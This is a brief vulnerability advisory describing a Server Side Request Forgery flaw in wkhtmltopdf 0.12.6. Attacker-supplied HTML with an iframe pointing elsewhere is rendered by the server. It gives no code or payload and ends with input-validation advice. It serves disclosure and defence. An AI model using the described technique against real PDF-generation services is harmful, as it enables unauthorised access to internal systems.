wkhtmltopdf 0.12.6 – Server Side Request Forgery

An attacker can send a malicious request to the vulnerable server using wkhtmltopdf 0.12.6. The malicious request contains an iframe with a source of an attacker-controlled server. This can be used to perform a Server Side Request Forgery (SSRF) attack.

Mitigation:

Ensure that the application is not vulnerable to SSRF attacks by validating the user input and not allowing the user to control the source of the iframe.
